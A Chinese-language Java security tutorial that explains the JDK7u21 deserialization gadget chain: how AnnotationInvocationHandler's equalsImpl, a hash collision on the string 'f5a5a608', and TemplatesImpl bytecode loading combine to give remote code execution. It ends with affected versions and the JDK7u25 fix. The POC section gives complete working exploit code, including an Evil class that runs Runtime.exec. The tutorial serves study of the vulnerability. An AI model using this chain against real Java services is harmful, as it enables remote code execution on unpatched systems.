本文为JAVA安全系列文章第二十一篇。
在没有合适的第三方库存在时,我们仍然有两条原生链可以利用—JDK7u21和JDK8u20。本文学习JDK7u21这条原生链。
0x01 JDK7u21链的核心原理
一、回顾与思考
此前学了CC链和CB链,那么思考下CC链和CB链能触发RCE的核心是什么?
CC链自然是那一系列实现了Transformer接口的类,尤其是InvokerTransformer和 InstantiateTransformer。
CB链是PropertyUtils#getProperty(),它是通过反射调用任意对象的getter()方法。
在一些链中,最终是利用TemplatesImpl来RCE的,其核心是动态字节码加载。
总结下来,反序列化利用链的核心就是“动态方法执行”。不管是能调用任意对象的任意方法,任意对象的固定方法,动态字节码加载,都可能会RCE。
二、JDK7u21核心原理
JDK7u21的核心点是 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl。
AnnotationInvocationHandler这个类我们在CC1和CC3链中已经见过了,此前关注的是它的readObject()和invoke() 方法,这次我们来看下它的equalsImpl方法:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
/**
* Implementation of dynamicProxy.equals(Object o)
*/
private Boolean equalsImpl(Object o) {
if (o == this)
return true;
if (!type.isInstance(o))
return false;
for (Method memberMethod : getMemberMethods()) {
String member = memberMethod.getName();
Object ourValue = memberValues.get(member);
Object hisValue = null;
AnnotationInvocationHandler hisHandler = asOneOfUs(o);
if (hisHandler != null) {
hisValue = hisHandler.memberValues.get(member);
} else {
try {
hisValue = memberMethod.invoke(o);
} catch (InvocationTargetException e) {
return false;
} catch (IllegalAccessException e) {
throw new AssertionError(e);
}
}
if (!memberValueEquals(ourValue, hisValue))
return false;
}
return true;
}
}
很明显,这里的memberMethod.invoke(o)是一个动态方法执行,这就是核心点。
这里简单分析下equalsImpl()的代码:
getMemberMethods()方法是通过getDeclaredMethods()获取type属性的所有成员方法:
asOneOfUs()中如果o是一个调用处理器为AnnotationInvocationHandler对象的动态代理时,则返回该动态代理的调用处理器;如果不是则返回null:
显然,此处只要我们传入的o不是带有AnnotationInvocationHandler调用处理器的动态代理对象时,就会返回null,从而进入到else,执行memberMethod.invoke(o)。
equalsImpl()方法就是假如比较的对象o不是带有AnnotationInvocationHandler的动态代理对象时,就将 type属性中的所有方法遍历并执行了。
那么,假设type和o都是Templates的class对象,则必然会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。
这就是JDK7u21的核心原理。
三、一个思考
有读者会发现,此处AnnotationInvocationHandler的构造器不是声明type是继承Annotation的class对象了么:
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
我们能传入type为Templates的class对象?
答案是能!!!原因有两个:
第一,因为AnnotationInvocationHandler这个类我们不能通过外部直接调用,只能通过反射,而通过反射调用时type属性的类型为java.lang.Class:
也就是说通过反射调用使得type属性类型的范围变大了。
第二,就是在AnnotationInvocationHandler#readObject()中,对type的检查只是捕获异常然后返回,而不是抛出异常,这并不影响反序列化的执行过程:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
...
}
这也涉及到了修复的问题。
0x02 JDK7u21链的调用逻辑分析
一、如何调用AnnotationInvocationHandler#equalsImpl()
通过equalsImpl()的代码注释我们知道,它就是对带有AnnotationInvocationHandler的动态代理的equals方法的实现。
回忆下前面学习的动态代理,当调用动态代理对象的任意一个方法,就会执行到 InvocationHandler#invoke。那么我们就来看AnnotationInvocationHandler#invoke中是怎么调用equals的:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
...
}
可见当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。故问题变成,我们需要找到一个类,在反序列化时可以对proxy调用equals方法。
二、反序列化时调用equals的类分析
反序列化时调用equals,很明显是要进行比较,根据前面分析几条链子的经验,首先会想到什么?
HashMap,HashTable,HashSet。因为这三个的底层都是HashMap,而HashMap的底层是数组+链表。学习CC7链时,我们知道HashTable在反序列化时为了保证key不重复,会先对key进行hash计算,根据hash得到索引,如果两个key的hash相同,就会调用equals进行比较。
那么其实HashMap,HashSet也是一样的逻辑。区别在于HashMap和HashTable是双列的,HashSet是单列的,而我们关心的只是key,至于value为多少,无所谓,所以此处我们就来分析HashSet。
三、equals调用链
我们来看下HashSet的readObject():
当反序列化的对象是LinkedHashSet(有序的HashSet)时,创建的是LinkedHashMap;否则创建的是HashMap,然后从反序列化流中循环读取,使用put添加key-value。
跟进map.put():
此处就很清晰了,我们希望进行equals比较的是Proxy.equals(templates)这样就能触发RCE了。
那么重点就是在于我们要在HashSet中构造hash相等的Proxy对象和Templates对象。和CC7链时一样,重点在于构造哈希碰撞。
四、构造哈希碰撞
1.hash计算
跟进hash(key)看看是如何计算hash的:
final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}
h ^= k.hashCode();
// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}
可以看到此处除了k.hashCode() 外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode() 是否相等。
但我们按照分析CC7链时的方法去找TemplatesImpl的hashCode()时,会发现它是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于Proxy.hashCode() ,而Proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到 AnnotationInvocationHandler#hashCodeImpl:
/**
* Implementation of dynamicProxy.hashCode()
*/
private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}
/**
* Computes hashCode of a member value (in "dynamic proxy return form")
*/
private static int memberValueHashCode(Object value) {
Class<?> type = value.getClass();
if (!type.isArray()) // primitive, string, class, enum const,
// or annotation
return value.hashCode();
...
}
遍历memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。
2.哈希碰撞
这里是如何构造哈希碰撞的呢?
1.当memberValues中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^ value.hashCode()
2.当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode()
3.当value就是TemplateImpl对象时,这两个哈希就变成完全相等。
故此处我们需要找到一个hashCode是0的对象作为memberValues的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。
那么如何找到一个hashCode是0的对象呢?我们写一个爆破程序来运行,最终找到f5a5a608这个字符串:
0x03 POC编写
一、创建一个恶意TemplatesImpl对象
由于JDK7u21并没有自带Base64模块来解码,故此处创建TemplatesImpl对象与此前稍有不同。我先写了一个Evil类:
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
然后面向百度复制粘贴编程,写一个通过传入类名来读取字节码的方法:
public static byte[] getClassByteCode(String className) {
String jarname = "/" + className.replace('.', '/') + ".class";
InputStream is = JDK7u21.class.getResourceAsStream(jarname);
ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
byte imgdata[] = null;
try {
while ((ch = is.read()) != -1) {
bytestream.write(ch);
}
imgdata = bytestream.toByteArray();
} catch (IOException e) {
e.printStackTrace();
} finally {
try {
bytestream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
return imgdata;
}
二、使用反射实例化一个AnnotationInvocationHandler对象
1.type属性是一中创建的TemplateImpl类的class对象
2.memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608,value先传入一个人畜无害的东东,避免后面HashSet进行add时,就触发RCE:
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
三、创建Proxy对象
使用二中实例化的AnnotationInvocationHandler对象创建一个动态代理对象proxy,代理的接口可以是任意的(因为动态代理关注的是InvocationHandler#invoke()),类加载器用系统默认的AppClassLoader就可以
四、构造HashSet
实例化一个LinkedHashSet,可以使用HashSet进行引用,该HashSet中有两个对象:先加入一中创建的恶意TemplatesImpl对象,再加入三中创建的动态代理对象proxy。
这是因为HashSet是无序的,即添加和取出的元素顺序是不一样的,为了保证进行equals比较的是proxy.equals(templates),故采用LinkedHashSet。同样,此处采用LinkedHashMap也可以。
五、序列化并反序列化HashSet
最后将之前人畜无害的value改为一中创建的恶意TemplatesImpl对象,HashSet进行反序列化,运行弹出计算器:
代码如下:
public class JDK7u21 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] code = getClassByteCode("Evil");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_name","Evil");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
HashMap map = new HashMap();
//value传入人畜无害的1,避免add时就弹计算器
map.put("f5a5a608",1);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Templates.class, map);
//此处可代理任意接口
SuppressWarnings proxy = (SuppressWarnings)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{SuppressWarnings.class}, handler);
//使用LinkedHashSet为了保证进行equals比较的是proxy.equals(templates)
HashSet hashSet = new LinkedHashSet();
hashSet.add(templates);
hashSet.add(proxy);
//使用LinkedHashMap也可以
// HashMap hashMap = new LinkedHashMap();
// hashMap.put(templates,1);
// hashMap.put(proxy,2);
//将之前人畜无害的value改为恶意templates
map.put("f5a5a608",templates);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field declaredField = clazz.getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(obj,value);
}
}
0x04 总结
一、JDK7u21链原理
1.HashSet在反序列化时为了保证元素不重复,会使用HashMap的key来做去重,通过计算key的hash得到索引,若两个key的hash相同,就会调用equals进行比较。
2.此时我们精心构造hash相等的Templates对象和Proxy对象(handler为AnnotationInvocationHandler),从而调用AnnotationInvocationHandler#equalsImpl,该方法会将 type属性中的所有方法遍历并执行了。
3.此时我们传入的type和比较对象都是恶意Templates对象,则必然会调用到其中的 newTransformer() 或 getOutputProperties() 方法,进而触发任意代码执行。
二、关于POC的几点说明
1.POC中,type属性可以传入为Templates类的class对象的原因有两个:
第一,我们是通过反射调用AnnotationInvocationHandler及其构造器的,这使得type属性的类型扩大成了java.lang.Class,即我们反射调用构造器时只要传入的是Class.class类型就不会出错;
第二,JDK7u21中AnnotationInvocationHandler反序列化时对type属性类型进行检查后直接return,而不是抛出异常,并不影响反序列化执行过程。
2.JDK7u21 POC中的动态代理对象,可以代理任意接口;
3.POC中使用LinkedHashSet是因为templates和proxy对象是有先后顺序的,HashSet是无序的,所以使用HashSet,可能触发不了RCE。此处的LinkedHashSet也可以采用LinkedHashMap。
三、JDK7u21是否影响JDK6和JDK8
以下引用自p神《JAVA安全漫谈》
Java的版本是多个分支同时开发的,并不意味着JDK7的所有东西都一定比JDK6新,所以,当看到这个利用链适配7u21的时候,我们不能先入为主地认为JDK6一定都受影响。
Oracle JDK6一共发布了30多个公开的版本,最后一个公开版本是6u45,在2013年发布。此后,Oracle 公司就不再发布免费的更新了,但是付费用户仍然可以获得Java 6的更新,最新的Java 6版本是6u221。其中,公开版本的最新版6u45仍然存在这条利用链,大概是6u51的时候修复了这个漏洞,但是这个结论不能肯定,因为免费用户下载不到这个版本。
JDK8在发布时,JDK7已经修复了这个问题,所以JDK8全版本都不受影响。
四、JDK7u21的修复
以下引用自p神《JAVA安全漫谈》
JDK7u25中的修复:
https://github.com/openjdk/jdk7u/commit/b3dd6104b67d2a03b94a4a061f7a473bb0d2dc4e
在 sun.reflect.annotation.AnnotationInvocationHandler类的readObject函数中,原本有一个对 this.type 的检查,在其不是AnnotationType的情况下应抛出一个异常。但是,捕获到异常后没有做任何事情,只是将这个函数返回了,这样并不影响整个反序列化的执行过程。
新版中,将 return;
修改成 throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
,这样,反序列化时会出现一个异常,导致整个过程停止。
这个修复方式看起来击中要害,实际上仍然存在问题,这也导致后面的另一条原生利用链JDK8u20。
参考许少的学习路线,我们对常见反序列化链的学习也接近尾声,是时候可以开启新的篇章,学习其他类型的知识了。同时通过对常见链子的学习,我们的基础还有javaasist需要补充。故后续几篇打算更javaasist,反序列化协议,RMI和JNDI的内容。
参考:
p神《JAVA安全漫谈》
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
第17篇:JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链
第19篇:JAVA安全|Gadget篇:Ysoserial CB1链
第20篇:JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~